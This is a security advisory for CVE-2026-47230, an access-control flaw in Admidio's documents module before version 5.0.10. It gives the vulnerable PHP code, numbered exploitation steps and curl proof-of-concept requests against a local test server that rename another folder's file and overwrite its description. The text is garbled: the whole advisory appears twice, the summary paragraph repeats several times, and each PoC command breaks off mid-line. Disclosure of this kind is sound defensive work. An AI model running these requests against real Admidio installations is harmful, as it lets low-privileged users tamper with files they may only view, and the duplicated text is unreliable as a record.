CVE-2026-47230

Admidio is an open-source user management solution. Prior to version 5.0.10, modules/documents-files.php mode file_rename_save shares the same root-cause shape as the cross-folder move bug (05-documents-cross-folder-move-idor.md): the top-level rights check at lines 79-89 validates hasUploadRight() on the URL parameter folder_uuid, but the rename operation acts on file_uuid — a separate URL parameter — without re-checking the folder that actually contains the file. DocumentsService::renameFile() resolves the target file via getFileForDownload() (which permits view-readable files) but does not require upload right on the file's source folder. Result: a user with upload right on any folder A can rename a file in folder B as long as they can view it. They can also overwrite the file's description. Version 5.0.10 contains a fix.

Admidio is an open-source user management solution. Prior to version 5.0.10, modules/documents-files.php mode file_rename_save shares the same root-cause shape as the cross-folder move bug (05-documents-cross-folder-move-idor.md): the top-level rights check at lines 79-89 validates hasUploadRight() on the URL parameter folder_uuid, but the rename operation acts on file_uuid — a separate URL parameter — without re-checking the folder that actually contains the file. DocumentsService::renameFile() resolves the target file via getFileForDownload() (which permits view-readable files) but does not require upload right on the file's source folder. Result: a user with upload right on any folder A can rename a file in folder B as long as they can view it. They can also overwrite the file's description. Version 5.0.10 contains a fix.

Summary

modules/documents-files.php mode file_rename_save shares the same root-cause shape as the cross-folder move bug (05-documents-cross-folder-move-idor.md): the top-level rights check at lines 79-89 validates hasUploadRight() on the URL parameter folder_uuid, but the rename operation acts on file_uuid — a separate URL parameter — without re-checking the folder that actually contains the file. DocumentsService::renameFile() resolves the target file via getFileForDownload() (which permits view-readable files) but does not require upload right on the file's source folder. Result: a user with upload right on any folder A can rename a file in folder B as long as they can view it. They can also overwrite the file's description.

Details

Vulnerable Code

modules/documents-files.php:79-89 — top-level check binds to URL folder_uuid:

if ($getMode != 'list' && $getMode != 'download') {
    $folder = new Folder($gDb);
    $folder->getFolderForDownload($getFolderUUID);
    if (!$folder->hasUploadRight()) {
        $gMessage->show($gL10n->get('SYS_NO_RIGHTS'));
    }
}

src/Documents/Service/DocumentsService.php:272-315 — renameFile() resolves the file via getFileForDownload() (view-only) and never re-verifies upload right on the file's parent:

public function renameFile(string $fileUUID, string $newName, string $newDescription): array
{
    $file = new File($this->db);
    $file->getFileForDownload($fileUUID);                          // <-- view rights, not upload
    ...
    $oldFile = $file->getFullFilePath();
    $newFile = $newName . '.' . pathinfo($oldFile, PATHINFO_EXTENSION);
    $newPath = pathinfo($oldFile, PATHINFO_DIRNAME) . '/';
    FileSystemUtils::moveFile($oldFile, $newPath . $newFile);

    $file->setValue('fil_name', $newFile);
    $file->setValue('fil_description', $newDescription);
    $file->save();
    ...
}

getFileForDownload() enforces only the download (read) ACL on the file's folder. There is no hasUploadRight() check anywhere in the rename path. The actual file remains in its original folder; only its name and description change. This means the modified metadata is visible to every other user who legitimately has download rights on that folder, while the modification itself was performed by a user who has no edit right on it.

Exploitation Primitive

1. Attacker user lowuser holds folder_upload on public_uploadable (UUID c41a99c0-…). They have view (download) rights on view_only_public (UUID 21b417e2-…, fol_public=1) but no upload/edit right there. The folder contains admin_announcement.txt (UUID aaae5edd-…).
2. Render the rename form with a folder_uuid of a folder lowuser CAN upload to and a file_uuid of the target file: GET /modules/documents-files.php?mode=file_rename&folder_uuid=c41a99c0-…&file_uuid=aaae5edd-… The top-level rights check at line 85 sees the public-uploadable folder and passes.
3. Submit rename: POST /modules/documents-files.php?mode=file_rename_save&folder_uuid=c41a99c0-…&file_uuid=aaae5edd-… with adm_csrf_token=<from step 2>, adm_new_name=hijacked_announcement, adm_new_description=Hijacked!. Server replies {"status":"success"}. adm_files: fil_fol_id=7 (still the original view_only_public), fil_name='hijacked_announcement.txt', fil_description='Hijacked!'. On disk: admin_announcement.txt is renamed to hijacked_announcement.txt in its original folder.

PoC

Captured live against HEAD c5cde53 (mariadb on 127.0.0.1:3399, php on 127.0.0.1:8085):

$ curl -sb $cookie \
    "http://127.0.0.1:8085/modules/documents-files.php?mode=file_rename&folder_uuid=c41a99c0-…&file_uuid=aaae5edd-…"
# form rendered, CSRF token X added to session

$ curl -sb $cookie -X POST \
    "http://127.0.0.1:8085/modules/documents-files.php?mode=file_rename_save&folder_uuid=c41a99c0-…&file_uuid=aaae5edd-…" \
    -d…

Admidio is an open-source user management solution. Prior to version 5.0.10, modules/documents-files.php mode file_rename_save shares the same root-cause shape as the cross-folder move bug (05-documents-cross-folder-move-idor.md): the top-level rights check at lines 79-89 validates hasUploadRight() on the URL parameter folder_uuid, but the rename operation acts on file_uuid — a separate URL parameter — without re-checking the folder that actually contains the file. DocumentsService::renameFile() resolves the target file via getFileForDownload() (which permits view-readable files) but does not require upload right on the file's source folder. Result: a user with upload right on any folder A can rename a file in folder B as long as they can view it. They can also overwrite the file's description. Version 5.0.10 contains a fix.

Admidio is an open-source user management solution. Prior to version 5.0.10, modules/documents-files.php mode file_rename_save shares the same root-cause shape as the cross-folder move bug (05-documents-cross-folder-move-idor.md): the top-level rights check at lines 79-89 validates hasUploadRight() on the URL parameter folder_uuid, but the rename operation acts on file_uuid — a separate URL parameter — without re-checking the folder that actually contains the file. DocumentsService::renameFile() resolves the target file via getFileForDownload() (which permits view-readable files) but does not require upload right on the file's source folder. Result: a user with upload right on any folder A can rename a file in folder B as long as they can view it. They can also overwrite the file's description. Version 5.0.10 contains a fix.

Summary

modules/documents-files.php mode file_rename_save shares the same root-cause shape as the cross-folder move bug (05-documents-cross-folder-move-idor.md): the top-level rights check at lines 79-89 validates hasUploadRight() on the URL parameter folder_uuid, but the rename operation acts on file_uuid — a separate URL parameter — without re-checking the folder that actually contains the file. DocumentsService::renameFile() resolves the target file via getFileForDownload() (which permits view-readable files) but does not require upload right on the file's source folder. Result: a user with upload right on any folder A can rename a file in folder B as long as they can view it. They can also overwrite the file's description.

Details

Vulnerable Code

modules/documents-files.php:79-89 — top-level check binds to URL folder_uuid:

if ($getMode != 'list' && $getMode != 'download') {
    $folder = new Folder($gDb);
    $folder->getFolderForDownload($getFolderUUID);
    if (!$folder->hasUploadRight()) {
        $gMessage->show($gL10n->get('SYS_NO_RIGHTS'));
    }
}

src/Documents/Service/DocumentsService.php:272-315 — renameFile() resolves the file via getFileForDownload() (view-only) and never re-verifies upload right on the file's parent:

public function renameFile(string $fileUUID, string $newName, string $newDescription): array
{
    $file = new File($this->db);
    $file->getFileForDownload($fileUUID);                          // <-- view rights, not upload
    ...
    $oldFile = $file->getFullFilePath();
    $newFile = $newName . '.' . pathinfo($oldFile, PATHINFO_EXTENSION);
    $newPath = pathinfo($oldFile, PATHINFO_DIRNAME) . '/';
    FileSystemUtils::moveFile($oldFile, $newPath . $newFile);

    $file->setValue('fil_name', $newFile);
    $file->setValue('fil_description', $newDescription);
    $file->save();
    ...
}

getFileForDownload() enforces only the download (read) ACL on the file's folder. There is no hasUploadRight() check anywhere in the rename path. The actual file remains in its original folder; only its name and description change. This means the modified metadata is visible to every other user who legitimately has download rights on that folder, while the modification itself was performed by a user who has no edit right on it.

Exploitation Primitive

1. Attacker user lowuser holds folder_upload on public_uploadable (UUID c41a99c0-…). They have view (download) rights on view_only_public (UUID 21b417e2-…, fol_public=1) but no upload/edit right there. The folder contains admin_announcement.txt (UUID aaae5edd-…).
2. Render the rename form with a folder_uuid of a folder lowuser CAN upload to and a file_uuid of the target file: GET /modules/documents-files.php?mode=file_rename&folder_uuid=c41a99c0-…&file_uuid=aaae5edd-… The top-level rights check at line 85 sees the public-uploadable folder and passes.
3. Submit rename: POST /modules/documents-files.php?mode=file_rename_save&folder_uuid=c41a99c0-…&file_uuid=aaae5edd-… with adm_csrf_token=<from step 2>, adm_new_name=hijacked_announcement, adm_new_description=Hijacked!. Server replies {"status":"success"}. adm_files: fil_fol_id=7 (still the original view_only_public), fil_name='hijacked_announcement.txt', fil_description='Hijacked!'. On disk: admin_announcement.txt is renamed to hijacked_announcement.txt in its original folder.

PoC

Captured live against HEAD c5cde53 (mariadb on 127.0.0.1:3399, php on 127.0.0.1:8085):

$ curl -sb $cookie \
    "http://127.0.0.1:8085/modules/documents-files.php?mode=file_rename&folder_uuid=c41a99c0-…&file_uuid=aaae5edd-…"
# form rendered, CSRF token X added to session

$ curl -sb $cookie -X POST \
    "http://127.0.0.1:8085/modules/documents-files.php?mode=file_rename_save&folder_uuid=c41a99c0-…&file_uuid=aaae5edd-…" \
    -d…